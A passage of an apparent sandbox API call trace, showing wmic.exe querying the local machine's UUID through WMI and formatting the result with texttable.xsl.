pType=0x0, plFlavor=0x0) returned 0x0 [0255.154] IWbemClassObject:Get (in: This=0x1b81c60, wszName="Derivation", lFlags=0, pVal=0x1ef170*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x0, varVal2=0xffef3668), pType=0x0, plFlavor=0x0 | out: pVal=0x1ef170*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Description", varVal2=0xffef3668), pType=0x0, plFlavor=0x0) returned 0x0 [0255.155] lstrlenW (lpString="Description") returned 11 [0255.155] lstrlenW (lpString="uuid") returned 4 [0255.155] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="uuid", cchCount1=4, lpString2="Description", cchCount2=11) returned 3 [0255.155] IUnknown:Release (This=0x1b81c60) returned 0x1 [0255.155] SafeArrayGetElement (in: psa=0x2e4270, rgIndices=0x1ef0a8, pv=0x1ef058 | out: pv=0x1ef058) returned 0x0 [0255.155] IWbemClassObject:Get (in: This=0x1b82320, wszName="Name", lFlags=0, pVal=0x1ef158*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="Description", varVal2=0xfff08408), pType=0x0, plFlavor=0x0 | out: pVal=0x1ef158*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="IdentifyingNumber", varVal2=0xfff08408), pType=0x0, plFlavor=0x0) returned 0x0 [0255.155] IWbemClassObject:Get (in: This=0x1b82320, wszName="Derivation", lFlags=0, pVal=0x1ef170*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Description", varVal2=0xffef3668), pType=0x0, plFlavor=0x0 | out: pVal=0x1ef170*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="IdentifyingNumber", varVal2=0xffef3668), pType=0x0, plFlavor=0x0) returned 0x0 [0255.156] lstrlenW (lpString="IdentifyingNumber") returned 17 [0255.156] lstrlenW (lpString="uuid") returned 4 [0255.156] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="uuid", cchCount1=4, lpString2="IdentifyingNumber", cchCount2=17) returned 3 [0255.156] IUnknown:Release (This=0x1b82320) returned 0x1 [0255.156] SafeArrayGetElement (in: psa=0x2e4270, rgIndices=0x1ef0a8, pv=0x1ef058 | out: pv=0x1ef058) returned 0x0 [0255.156] IWbemClassObject:Get (in: This=0x1b82910, wszName="Name", lFlags=0, pVal=0x1ef158*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="IdentifyingNumber", varVal2=0xfff08408), pType=0x0, plFlavor=0x0 | out: pVal=0x1ef158*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="Name", varVal2=0xfff08408), pType=0x0, plFlavor=0x0) returned 0x0 [0255.156] IWbemClassObject:Get (in: This=0x1b82910, wszName="Derivation", lFlags=0, pVal=0x1ef170*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="IdentifyingNumber", varVal2=0xffef3668), pType=0x0, plFlavor=0x0 | out: pVal=0x1ef170*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Name", varVal2=0xffef3668), pType=0x0, plFlavor=0x0) returned 0x0 [0255.157] lstrlenW (lpString="Name") returned 4 [0255.157] lstrlenW (lpString="uuid") returned 4 [0255.157] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="uuid", cchCount1=4, lpString2="Name", cchCount2=4) returned 3 [0255.157] IUnknown:Release (This=0x1b82910) returned 0x1 [0255.157] SafeArrayGetElement (in: psa=0x2e4270, rgIndices=0x1ef0a8, pv=0x1ef058 | out: pv=0x1ef058) returned 0x0 [0255.157] IWbemClassObject:Get (in: This=0x1b82f90, wszName="Name", lFlags=0, pVal=0x1ef158*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="Name", varVal2=0xfff08408), pType=0x0, plFlavor=0x0 | out: pVal=0x1ef158*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="SKUNumber", varVal2=0xfff08408), pType=0x0, plFlavor=0x0) returned 0x0 [0255.157] IWbemClassObject:Get (in: This=0x1b82f90, wszName="Derivation", lFlags=0, pVal=0x1ef170*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Name", varVal2=0xffef3668), pType=0x0, plFlavor=0x0 | out: pVal=0x1ef170*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="SKUNumber", varVal2=0xffef3668), pType=0x0, plFlavor=0x0) returned 0x0 [0255.157] lstrlenW (lpString="SKUNumber") returned 9 [0255.157] lstrlenW (lpString="uuid") returned 4 [0255.158] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="uuid", cchCount1=4, lpString2="SKUNumber", cchCount2=9) returned 3 [0255.158] IUnknown:Release (This=0x1b82f90) returned 0x1 [0255.158] SafeArrayGetElement (in: psa=0x2e4270, rgIndices=0x1ef0a8, pv=0x1ef058 | out: pv=0x1ef058) returned 0x0 [0255.158] IWbemClassObject:Get (in: This=0x1b83520, wszName="Name", lFlags=0, pVal=0x1ef158*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="SKUNumber", varVal2=0xfff08408), pType=0x0, plFlavor=0x0 | out: pVal=0x1ef158*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="UUID", varVal2=0xfff08408), pType=0x0, plFlavor=0x0) returned 0x0 [0255.158] IWbemClassObject:Get (in: This=0x1b83520, wszName="Derivation", lFlags=0, pVal=0x1ef170*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="SKUNumber", varVal2=0xffef3668), pType=0x0, plFlavor=0x0 | out: pVal=0x1ef170*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="UUID", varVal2=0xffef3668), pType=0x0, plFlavor=0x0) returned 0x0 [0255.158] lstrlenW (lpString="UUID") returned 4 [0255.159] lstrlenW (lpString="uuid") returned 4 [0255.159] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="uuid", cchCount1=4, lpString2="UUID", cchCount2=4) returned 2 [0255.159] GetCurrentThreadId () returned 0x140 [0255.159] ??0CHString@@QEAA@XZ () returned 0x1eef78 [0255.159] IWbemClassObject:Get (in: This=0x1b83520, wszName="Description", lFlags=0, pVal=0x1eef88*(varType=0x0, wReserved1=0xff5a, wReserved2=0x7fe, wReserved3=0x0, varVal1=0x1b83520, varVal2=0x109770), pType=0x0, plFlavor=0x0 | out: pVal=0x1eef88*(varType=0x8, wReserved1=0xff5a, wReserved2=0x7fe, wReserved3=0x0, varVal1="The UUID property contains the Universally Unique Identifier (UUID) for this product. A UUID is a 128-bit identifier that is guaranteed to be different from other generated UUIDs. (If a UUID is not available, a UUID of all zeros is used).", varVal2=0x109770), pType=0x0, plFlavor=0x0) returned 0x0 [0255.159] ??1CHString@@QEAA@XZ () returned 0x7fee2b7482c [0255.160] lstrlenA (lpString="") returned 0 [0255.160] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xffef314c, cbMultiByte=-1, lpWideCharStr=0x10cb20, cchWideChar=1 | out: lpWideCharStr="") returned 1 [0255.160] SysStringLen (param_1="The UUID property contains the Universally Unique Identifier (UUID) for this product. A UUID is a 128-bit identifier that is guaranteed to be different from other generated UUIDs. (If a UUID is not available, a UUID of all zeros is used).") returned 0xee [0255.160] SysStringLen (param_1="") returned 0x0 [0255.160] GetCurrentThreadId () returned 0x140 [0255.160] ??0CHString@@QEAA@XZ () returned 0x1eed78 [0255.160] IWbemClassObject:Get (in: This=0x1b83520, wszName="Qualifiers", lFlags=0, pVal=0x1eede8*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x77d55410, varVal2=0x0), pType=0x0, plFlavor=0x0 | out: pVal=0x1eede8*(varType=0x1, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x77d55410, varVal2=0x0), pType=0x0, plFlavor=0x0) returned 0x0 [0255.160] ??1CHString@@QEAA@XZ () returned 0x7fee2b7482c [0255.161] IUnknown:Release (This=0x1b83520) returned 0x1 [0255.161] SafeArrayGetElement (in: psa=0x2e4270, rgIndices=0x1ef0a8, pv=0x1ef058 | out: pv=0x1ef058) returned 0x0 [0255.162] IWbemClassObject:Get (in: This=0x1b83b80, wszName="Name", lFlags=0, pVal=0x1ef158*(varType=0x0, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1=0x2dd5c8, varVal2=0xfff08408), pType=0x0, plFlavor=0x0 | out: pVal=0x1ef158*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="Vendor", varVal2=0xfff08408), pType=0x0, plFlavor=0x0) returned 0x0 [0255.163] IWbemClassObject:Get (in: This=0x1b83b80, wszName="Derivation", lFlags=0, pVal=0x1ef170*(varType=0x0, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0x2dd5f8, varVal2=0xffef3668), pType=0x0, plFlavor=0x0 | out: pVal=0x1ef170*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Vendor", varVal2=0xffef3668), pType=0x0, plFlavor=0x0) returned 0x0 [0255.163] IUnknown:Release (This=0x1b83b80) returned 0x1 [0255.163] SafeArrayGetElement (in: psa=0x2e4270, rgIndices=0x1ef0a8, pv=0x1ef058 | out: pv=0x1ef058) returned 0x0 [0255.164] IWbemClassObject:Get (in: This=0x1b84170, wszName="Name", lFlags=0, pVal=0x1ef158*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="Vendor", varVal2=0xfff08408), pType=0x0, plFlavor=0x0 | out: pVal=0x1ef158*(varType=0x8, wReserved1=0x802, wReserved2=0x0, wReserved3=0x0, varVal1="Version", varVal2=0xfff08408), pType=0x0, plFlavor=0x0) returned 0x0 [0255.164] IWbemClassObject:Get (in: This=0x1b84170, wszName="Derivation", lFlags=0, pVal=0x1ef170*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Vendor", varVal2=0xffef3668), pType=0x0, plFlavor=0x0 | out: pVal=0x1ef170*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="Version", varVal2=0xffef3668), pType=0x0, plFlavor=0x0) returned 0x0 [0255.165] IUnknown:Release (This=0x1b84170) returned 0x1 [0255.165] IUnknown:Release (This=0x1b7f910) returned 0x1 [0255.165] IUnknown:Release (This=0x1b7a500) returned 0x0 [0255.165] ??1CHString@@QEAA@XZ () returned 0x7fee2b7482c [0255.166] wcstok (in: _String="Select * from Win32_ComputerSystemProduct", _Delimiter=" ", _Context=0xfffffffffffffef0 | out: _String="Select", _Context=0xfffffffffffffef0) returned="Select" [0255.166] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x0 | out: _String=0x0, _Context=0x0) returned="*" [0255.166] lstrlenW (lpString="FROM") returned 4 [0255.166] lstrlenW (lpString="*") returned 1 [0255.166] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="*", cchCount1=1, lpString2="FROM", cchCount2=4) returned 1 [0255.166] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x6300db007a0001 | out: _String=0x0, _Context=0x6300db007a0001) returned="from" [0255.166] lstrlenW (lpString="FROM") returned 4 [0255.166] lstrlenW (lpString="from") returned 4 [0255.166] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="from", cchCount1=4, lpString2="FROM", cchCount2=4) returned 2 [0255.167] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x6300dc007a0001 | out: _String=0x0, _Context=0x6300dc007a0001) returned="Win32_ComputerSystemProduct" [0255.167] ??0CHString@@QEAA@XZ () returned 0x1ef668 [0255.167] ?Format@CHString@@QEAAXPEBGZZ () returned 0x10cc9c [0255.168] ??1CHString@@QEAA@XZ () returned 0x7cfcae01 [0255.168] WbemLocator:IUnknown:AddRef (This=0x1b61390) returned 0x3 [0255.168] lstrlenW (lpString="") returned 0 [0255.168] lstrlenW (lpString="YKYD69Q") returned 7 [0255.168] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="YKYD69Q", cchCount1=7, lpString2="", cchCount2=0) returned 3 [0255.168] lstrlenW (lpString="YKYD69Q") returned 7 [0255.229] lstrlenW (lpString="__CLASS") returned 7 [0255.230] lstrlenW (lpString="UUID") returned 4 [0255.230] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="UUID", cchCount1=4, lpString2="__CLASS", cchCount2=7) returned 3 [0255.230] lstrlenW (lpString="__DERIVATION") returned 12 [0255.230] lstrlenW (lpString="UUID") returned 4 [0255.230] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="UUID", cchCount1=4, lpString2="__DERIVATION", cchCount2=12) returned 3 [0255.230] lstrlenW (lpString="__DYNASTY") returned 9 [0255.230] lstrlenW (lpString="UUID") returned 4 [0255.230] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="UUID", cchCount1=4, lpString2="__DYNASTY", cchCount2=9) returned 3 [0255.230] lstrlenW (lpString="__GENUS") returned 7 [0255.230] lstrlenW (lpString="UUID") returned 4 [0255.230] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="UUID", cchCount1=4, lpString2="__GENUS", cchCount2=7) returned 3 [0255.230] lstrlenW (lpString="__NAMESPACE") returned 11 [0255.230] lstrlenW (lpString="UUID") returned 4 [0255.231] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="UUID", cchCount1=4, lpString2="__NAMESPACE", cchCount2=11) returned 3 [0255.231] lstrlenW (lpString="__PATH") returned 6 [0255.231] lstrlenW (lpString="UUID") returned 4 [0255.231] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="UUID", cchCount1=4, lpString2="__PATH", cchCount2=6) returned 3 [0255.231] lstrlenW (lpString="__PROPERTYCOUNT") returned 15 [0255.231] lstrlenW (lpString="UUID") returned 4 [0255.231] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="UUID", cchCount1=4, lpString2="__PROPERTYCOUNT", cchCount2=15) returned 3 [0255.231] lstrlenW (lpString="__RELPATH") returned 9 [0255.231] lstrlenW (lpString="UUID") returned 4 [0255.231] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="UUID", cchCount1=4, lpString2="__RELPATH", cchCount2=9) returned 3 [0255.231] lstrlenW (lpString="__SERVER") returned 8 [0255.231] lstrlenW (lpString="UUID") returned 4 [0255.231] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="UUID", cchCount1=4, lpString2="__SERVER", cchCount2=8) returned 3 [0255.231] lstrlenW (lpString="__SUPERCLASS") returned 12 [0255.232] lstrlenW (lpString="UUID") returned 4 [0255.232] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="UUID", cchCount1=4, lpString2="__SUPERCLASS", cchCount2=12) returned 3 [0255.232] lstrlenW (lpString="Select * from Win32_ComputerSystemProduct") returned 41 [0255.232] wcstok (in: _String="Select * from Win32_ComputerSystemProduct", _Delimiter=" ", _Context=0xfffffffffffffed0 | out: _String="Select", _Context=0xfffffffffffffed0) returned="Select" [0255.233] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x6300e700620001 | out: _String=0x0, _Context=0x6300e700620001) returned="*" [0255.233] lstrlenW (lpString="FROM") returned 4 [0255.233] lstrlenW (lpString="*") returned 1 [0255.233] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="*", cchCount1=1, lpString2="FROM", cchCount2=4) returned 1 [0255.234] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x7400700008003b | out: _String=0x0, _Context=0x7400700008003b) returned="from" [0255.234] lstrlenW (lpString="FROM") returned 4 [0255.234] lstrlenW (lpString="from") returned 4 [0255.234] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="from", cchCount1=4, lpString2="FROM", cchCount2=4) returned 2 [0255.235] wcstok (in: _String=0x0, _Delimiter=" ", _Context=0x6300e800620001 | out: _String=0x0, _Context=0x6300e800620001) returned="Win32_ComputerSystemProduct" [0255.238] ??0CHString@@QEAA@XZ () returned 0x1eb390 [0255.238] GetCurrentThreadId () returned 0x140 [0255.238] CoCreateInstance (in: rclsid=0xffef73d0*(Data1=0x8d1c559d, Data2=0x84f0, Data3=0x4bb3, Data4=([0]=0xa7, [1]=0xd5, [2]=0x56, [3]=0xa7, [4]=0x43, [5]=0x5a, [6]=0x9b, [7]=0xa6)), pUnkOuter=0x0, dwClsContext=0x1, riid=0xffef73e0*(Data1=0xbfbf883a, Data2=0xcad7, Data3=0x11d3, Data4=([0]=0xa1, [1]=0x1b, [2]=0x0, [3]=0x10, [4]=0x5a, [5]=0x1f, [6]=0x51, [7]=0x5a)), ppv=0xfff629c0 | out: ppv=0xfff629c0*=0x1b613d0) returned 0x0 [0255.257] ??1CHString@@QEAA@XZ () returned 0x7fee2b7482c [0255.257] ??0CHString@@QEAA@XZ () returned 0x1eb390 [0255.257] GetCurrentThreadId () returned 0x140 [0255.261] WbemLocator:IWbemLocator:ConnectServer (in: This=0x1b61390, strNetworkResource="\\\\YKYD69Q\\ROOT\\CIMV2", strUser=0x0, strPassword=0x0, strLocale="ms_409", lSecurityFlags=0, strAuthority=0x0, pCtx=0x0, ppNamespace=0xfff629d0 | out: ppNamespace=0xfff629d0*=0x1b73c38) returned 0x0 [0255.294] CoSetProxyBlanket (pProxy=0x1b73c38, dwAuthnSvc=0xffffffff, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x0) returned 0x0 [0255.295] ??1CHString@@QEAA@XZ () returned 0x7fee2b7482c [0255.295] ??0CHString@@QEAA@XZ () returned 0x1eb2a0 [0255.295] GetCurrentThreadId () returned 0x140 [0255.295] ??0CHString@@QEAA@XZ () returned 0x1eb250 [0255.296] GetCurrentThreadId () returned 0x140 [0255.296] CoCreateInstanceEx (in: Clsid=0xffef73b0*(Data1=0x674b6698, Data2=0xee92, Data3=0x11d0, Data4=([0]=0xad, [1]=0x71, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xd8, [6]=0xfd, [7]=0xff)), punkOuter=0x0, dwClsCtx=0x1, pServerInfo=0x0, dwCount=0x1, pResults=0x1eb200 | out: pResults=((pIID=0xffef7380*(Data1=0x44aca674, Data2=0xe8fc, Data3=0x11d0, Data4=([0]=0xa0, [1]=0x7c, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0xb6, [6]=0x88, [7]=0x20)), pItf=0x1b73c50, hr=0x0))) returned 0x0 [0255.301] ??1CHString@@QEAA@XZ () returned 0x7fee2b7482c [0255.302] IWbemServices:ExecQuery (in: This=0x1b73c38, strQueryLanguage="WQL", strQuery="SELECT UUID FROM Win32_ComputerSystemProduct", lFlags=48, pCtx=0x0, ppEnum=0x1eb2b0 | out: ppEnum=0x1eb2b0*=0x1b73e18) returned 0x0 [0255.392] WbemContext:IWbemContext:SetValue (This=0x1b73c50, wszName="ExcludeSystemProperties", lFlags=0, pValue=0x1eb310*(varType=0xb, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1=0xffff, varVal2=0x0)) returned 0x0 [0255.392] CoSetProxyBlanket (pProxy=0x1b73e18, dwAuthnSvc=0xffffffff, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x6, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x0) returned 0x0 [0255.394] IEnumWbemClassObject:Next (in: This=0x1b73e18, lTimeout=-1, uCount=0x1, apObjects=0x1eb2b8, puReturned=0x1eb2d0 | out: apObjects=0x1eb2b8*=0x1b73ec0, puReturned=0x1eb2d0*=0x1) returned 0x0 [0255.395] WbemObjectTextSrc:IWbemObjectTextSrc:GetText (in: This=0x1b613d0, lFlags=0, pObj=0x1b73ec0, uObjTextFormat=0x1, pCtx=0x1b73c50, strText=0x1eb2c0 | out: strText=0x1eb2c0*="745AD0AF-D345-21D7-F1A3-2F45B9724B1D") returned 0x0 [0256.318] IUnknown:Release (This=0x1b73ec0) returned 0x0 [0256.318] IEnumWbemClassObject:Next (in: This=0x1b73e18, lTimeout=-1, uCount=0x1, apObjects=0x1eb2b8, puReturned=0x1eb2d0 | out: apObjects=0x1eb2b8*=0x0, puReturned=0x1eb2d0*=0x0) returned 0x1 [0256.319] IUnknown:Release (This=0x1b73e18) returned 0x0 [0256.321] ??1CHString@@QEAA@XZ () returned 0x7fee2b7482c [0256.349] ??0CHString@@QEAA@XZ () returned 0x1ef540 [0256.350] ?Format@CHString@@QEAAXPEBGZZ () returned 0x10d49c [0256.350] ??1CHString@@QEAA@XZ () returned 0x7cfcae01 [0256.350] ??0CHString@@QEAA@XZ () returned 0x1ef538 [0256.350] ?Format@CHString@@QEAAXPEBGZZ () returned 0x10d49c [0256.350] ??0CHString@@QEAA@XZ () returned 0x1ef528 [0256.351] ??0CHString@@QEAA@XZ () returned 0x1ef4b8 [0256.351] ?Format@CHString@@QEAAXPEBGZZ () returned 0x10dc0c [0256.352] ??1CHString@@QEAA@XZ () returned 0x7cfcae01 [0256.352] lstrlenW (lpString="LIST") returned 4 [0256.352] lstrlenW (lpString="get") returned 3 [0256.352] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="get", cchCount1=3, lpString2="LIST", cchCount2=4) returned 1 [0256.352] ??1CHString@@QEAA@XZ () returned 0x7fee2b7482c [0256.353] ??0CHString@@QEAA@XZ () returned 0x1ef490 [0256.353] ?Format@CHString@@QEAAXPEBGZZ () returned 0x34dfdc [0256.353] ??1CHString@@QEAA@XZ () returned 0x6501 [0256.355] ??1CHString@@QEAA@XZ () returned 0x7cfcae01 [0256.355] WbemLocator:IUnknown:Release (This=0x1b73c38) returned 0x0 [0256.355] ?Empty@CHString@@QEAAXXZ () returned 0x7fee2b7482c [0256.367] _kbhit () returned 0x0 [0256.368] GetCurrentThreadId () returned 0x140 [0256.368] ??0CHString@@QEAA@PEBG@Z () returned 0x1ef588 [0256.368] ??YCHString@@QEAAAEBV0@PEBG@Z () returned 0x1ef588 [0256.369] lstrlenW (lpString="LIST") returned 4 [0256.369] lstrlenW (lpString="get") returned 3 [0256.369] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="get", cchCount1=3, lpString2="LIST", cchCount2=4) returned 1 [0256.369] lstrlenW (lpString="ASSOC") returned 5 [0256.369] lstrlenW (lpString="get") returned 3 [0256.369] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="get", cchCount1=3, lpString2="ASSOC", cchCount2=5) returned 3 [0256.369] lstrlenW (lpString="GET") returned 3 [0256.369] lstrlenW (lpString="get") returned 3 [0256.369] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="get", cchCount1=3, lpString2="GET", cchCount2=3) returned 2 [0256.369] SysStringByteLen (bstr="C:\\Windows\\system32\\wbem\\") returned 0x32 [0256.370] CreateFileW (lpFileName="C:\\Windows\\system32\\wbem\\\\texttable.xsl" (normalized: "c:\\windows\\system32\\wbem\\texttable.xsl"), dwDesiredAccess=0x0, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x26c [0256.441] CloseHandle (hObject=0x26c) returned 1 [0256.441] ??0CHString@@QEAA@PEBG@Z () returned 0x1ef2e8 [0256.442] ?Right@CHString@@QEBA?AV1@H@Z () returned 0x1ef2e0 [0256.442] ??0CHString@@QEAA@PEBG@Z () returned 0x1ef338 [0256.442] _wcsicmp (_String1=".xsl", _String2=".xsl") returned 0 [0256.442] ??1CHString@@QEAA@XZ () returned 0x7400b3000c0001 [0256.442] ??1CHString@@QEAA@XZ () returned 0x7400b400180001 [0256.442] ??1CHString@@QEAA@XZ () returned 0x7cfcae01 [0256.442] ??0CHString@@QEAA@XZ () returned 0x1ef390 [0256.442] CoCreateInstance (in: rclsid=0xffef7410*(Data1=0xf6d90f12, Data2=0x9c73, Data3=0x11d3, Data4=([0]=0xb3, [1]=0x2e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0xb, [7]=0xb4)), pUnkOuter=0x0, dwClsContext=0x1, riid=0xffef73f0*(Data1=0x2933bf95, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppv=0xfff629e8 | out: ppv=0xfff629e8*=0x20571d0) returned 0x0 [0256.443] FreeThreadedDOMDocument:IXMLDOMDocument:loadXML (in: This=0x20571d0, bstrXML=" csproduct get uuidYKYD69Qroot\\cimv2root\\cliIMPERSONATEPKTPRIVACYms_409ENABLEOFFN/AOFFOFFSTDOUTSTDOUTN/AON745AD0AF-D345-21D7-F1A3-2F45B9724B1D", isSuccessful=0x1ef374 | out: isSuccessful=0x1ef374*=0xffff) returned 0x0 [0256.448] ??0CHString@@QEAA@XZ () returned 0x1ef070 [0256.448] GetCurrentThreadId () returned 0x140 [0256.478] FreeThreadedDOMDocument:IXMLDOMDocument:put_async (This=0x205b330, async=0) returned 0x0 [0256.478] SysStringByteLen (bstr="C:\\Windows\\system32\\wbem\\\\texttable.xsl") returned 0x4e [0256.478] FreeThreadedDOMDocument:IXMLDOMDocument:load (in: This=0x205b330, xmlSource=0x1ef240*(varType=0x8, wReserved1=0x205, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\Windows\\system32\\wbem\\\\texttable.xsl", varVal2=0x0), isSuccessful=0x1ef338 | out: isSuccessful=0x1ef338*=0xffff) returned 0x0 [0256.726] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1ece60 | out: lpSystemTimeAsFileTime=0x1ece60*(dwLowDateTime=0xc9e43450, dwHighDateTime=0x1d4a74f)) [0256.726] GetCurrentProcessId () returned 0x7ac [0256.726] GetCurrentThreadId () returned 0x140 [0256.726] GetTickCount () returned 0x4b691 [0256.726] QueryPerformanceCounter (in: lpPerformanceCount=0x1ece68 | out: lpPerformanceCount=0x1ece68*=1833013600000) returned 1 [0256.734] IsValidLocale (Locale=0x409, dwFlags=0x1) returned 1 [0256.734] GetLocaleInfoA (in: Locale=0x409, LCType=0x1004, lpLCData=0x1eeb90, cchData=6 | out: lpLCData="1252") returned 5 [0256.734] IsValidCodePage (CodePage=0x4e4) returned 1 [0256.734] LoadLibraryExA (lpLibFileName="ole32.dll", hFile=0x0, dwFlags=0x0) returned 0x7feffa40000 [0256.735] GetProcAddress (hModule=0x7feffa40000, lpProcName="CoCreateInstance") returned 0x7feffa67490 [0256.735] CoCreateInstance (in: rclsid=0x7fef36bd5a8*(Data1=0x6c736db1, Data2=0xbd94, Data3=0x11d0, Data4=([0]=0x8a, [1]=0x23, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xb5, [6]=0x8e, [7]=0x10)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef36bd5b8*(Data1=0x6c736dc1, Data2=0xab0d, Data3=0x11d0, Data4=([0]=0xa2, [1]=0xad, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xf, [6]=0x27, [7]=0xe8)), ppv=0x10df48 | out: ppv=0x10df48*=0x2e0b20) returned 0x0 [0256.735] IUnknown:AddRef (This=0x2e0b20) returned 0x2 [0256.735] GetCurrentProcessId () returned 0x7ac [0256.735] GetCurrentThreadId () returned 0x140 [0256.735] GetTickCount () returned 0x4b691 [0256.735] ISystemDebugEventFire:BeginSession (This=0x2e0b20, guidSourceID=0x7fef36bd5d8, strSessionName="VBScript:00001964:00000320:18308881") returned 0x0 [0256.735] DllRegisterServer () returned 0x0 [0256.735] GetCurrentThreadId () returned 0x140 [0256.738] IUnknown:Release (This=0x2e0b20) returned 0x0 [0256.738] DllRegisterServer () returned 0x0 [0256.738] FreeThreadedDOMDocument:IUnknown:AddRef (This=0x20571d0) returned 0x2 [0256.738] GetStdHandle (nStdHandle=0xfffffff5) returned 0x4c0 [0256.739] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x4c0, lpConsoleScreenBufferInfo=0x1eef80 | out: lpConsoleScreenBufferInfo=0x1eef80) returned 0 [0256.739] GetStdHandle (nStdHandle=0xfffffff5) returned 0x4c0 [0256.739] GetFileType (hFile=0x4c0) returned 0x3 [0256.744] GetCurrentThreadId () returned 0x140 [0256.744] GetCurrentThreadId () returned 0x140 [0256.744] IsValidLocale (Locale=0x409, dwFlags=0x1) returned 1 [0256.744] GetLocaleInfoA (in: Locale=0x409, LCType=0x1004, lpLCData=0x1eeda0, cchData=6 | out: lpLCData="1252") returned 5 [0256.744] IsValidCodePage (CodePage=0x4e4) returned 1 [0256.744] DllRegisterServer () returned 0x0 [0256.744] CoCreateInstance (in: rclsid=0x7fef36bd5a8*(Data1=0x6c736db1, Data2=0xbd94, Data3=0x11d0, Data4=([0]=0x8a, [1]=0x23, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xb5, [6]=0x8e, [7]=0x10)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7fef36bd5b8*(Data1=0x6c736dc1, Data2=0xab0d, Data3=0x11d0, Data4=([0]=0xa2, [1]=0xad, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xf, [6]=0x27, [7]=0xe8)), ppv=0x10df48 | out: ppv=0x10df48*=0x2e0b20) returned 0x0 [0256.744] IUnknown:AddRef (This=0x2e0b20) returned 0x2 [0256.744] 